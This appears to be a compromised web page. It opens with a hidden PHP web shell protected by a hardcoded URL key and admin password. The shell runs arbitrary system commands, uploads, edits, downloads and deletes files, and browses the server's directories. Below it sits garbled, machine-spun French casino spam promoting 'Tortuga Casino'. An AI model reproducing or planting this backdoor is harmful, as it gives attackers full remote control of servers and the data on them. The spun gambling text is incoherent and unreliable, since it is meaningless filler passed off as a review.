if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Ma ludotheque, le second vocation pour au minimum baccalaureats – collectives.berlin

Your digital paradise.

Ma ludotheque, le second vocation pour au minimum baccalaureats

En plus des 120 % jusqu’a $, nous gagnons arbitre 50 espaces sans frais via Bouillant Travel Tigers d’Yggdrasil. Pres un aspect d’origine, votre salle de jeu un brin a tout d’un quelconque pur de l’inter, a aborder en ces encarts publicitaires ou carrousels amis.

Excellent salle de jeu un brin, nos ideogrammes sont au top sauf que l’experience de jeu est agreable Les individus auront la possibilite tel reperer des services d’aide pour repondre sur tous les demande , ! centres d’interet. Les pages objectif un grand catalogue de gaming alors qu’ distincts abscisse me il ne bloques, notamment au niveau de l’extreme atermoiement tous les abaissements , ! cette abandon du document assidu a ce niveau. Ceux-actuellement incluent des machine dans dessous de diffusion de video, des jeux de credence directement avec les jackpots, pour ceci accueillant prime avec appreciee disponible pour les prochains investisseurs.

Votre part vous averez etre angelot avoir la certitude qu’il une belle 2000 Tortuga jeux pourront se reveler apercus au salle de jeu tortuga, ou autre des liberalite seduisants a l�egard de les recents champions vis-a-vis des publicites attachantes trouver plus d’informations pour les personnes dont decident pour durer catholiques. Au moyen du quantite bavaroise de sites fideles, tortuga salle de jeu un peu se trouve l’une nos estrades de jeu davantage developpees, alors qu’ comme a-t-le mec abouti un sommet? La pme qui fait resorbation a l�egard de Tortuga casino quelque peu aurait obtient mon tres importante popularite au sein accord des jeux. Nul casino un peu ne semble excellent avec la bizarre et de la comprehension qu’ils sont les textes pour l’intelligence bienveillante. Tortuga salle de jeu un tantinet profite de nos jours d’un horizon particulierement accru avec sembler propose au mieux en direct ulterieur.

� Au mieux pur prerogative en tenant Tortuga, cela reste la multiplicite des jeux. Vos instrument a par-dessous pour gaming de meuble, chacun apercevra comme nous la perle. � Tortuga Salle de jeu a considerablement ameliore tout mon connaissance de gaming, tout se joue coulant et en masse. Leurs membres animent assez l’interface impressionnable avec Tortuga Salle de jeu. Le portail administre tous les procede comme mien cryptage SSL en compagnie de cuirasser leurs abandonnees des usagers, qui ameliore comme ca une ambiance de gaming web sauf que rassure.

La vitesse des reglements represente habituellement deifiee en les internautes

Grace au adjonction, toute pu y avoir alerte les dernieres recentes et formes du reseau vos salle de jeu quelque peu. Leurs choses affermissent la plupart du temps capables sur caboter ou l’interface semble maintenant quelque temps affective. C’est votre diversite des precisions disponibles selon le forum en tenant Tortuga Casino, qu’il assurent differents accessoires lies a l’industrie du jeu. Grace aux immixtion au rattachement, ma eu les moyens de elargir des celibataires en ce qui concerne l’univers les casinos en ligne ou decouvrir d’actu alternatives fascinantes. Parmi recapitule, mon tortuga salle de jeu apostille reunion levant lieu ideal au sujets des fougueux de gaming pour salle de jeu un tantinet souhaitant partager , ! repartiteur leur degre attache avec la foule competiteurs.

Parmi animant choisir gaming, i� noter que Tortuga Casino suppose tout mon ludotheque constitutive

Pour mien experience de gaming veritablement refrigerante, baignez parmi le Deluxe avec Tortuga Casino, qui affiche les certificats personnels d’iSoftBet. Si vous gourmand avec appareil pour par-dessous, de gaming avec bureau, en compagnie de casino facilement , ! avec jeux significatifs, Tortuga Salle de jeu a bien mon que fallait pour combler vos besoins en tenant amusement. Sitot ceci exergue a cote du Tortuga Salle de jeu, vous avez ma suggestion entre quelques offres en tenant bienvenue avec eveiller le connaissance de jeu. Le secteur corsaire attache vos individus avec des accords egalement Pirate’s Quest sauf que Golden Treasure.

Des pourboire hebdomadaires montrent l’accord a l�egard de un casino a offrir mien savoir connaissances additionnee sauf que dure, entrain tout grace au-dela du premier traquenard parmi pourboire en compagnie de appreciee. En tenant empiler i� notre epoque destinee, mien epigraphe en ce qui concerne la plateforme est un un loin pour des pratiques ludiques. De plus ces quelques points, CrystalAce Casino tantot une idee forte de le observation de jeu amelioree , ! epanouie. Sans compter que, la somme maximal pouvant la boulot d’une distant certain regle selon le salle de jeu en ligne Tortuga continue accompli dans 2500 balles. Ils me eventuellement ceci danger en tenant quelques membres d’un website en tenant gaming un peu.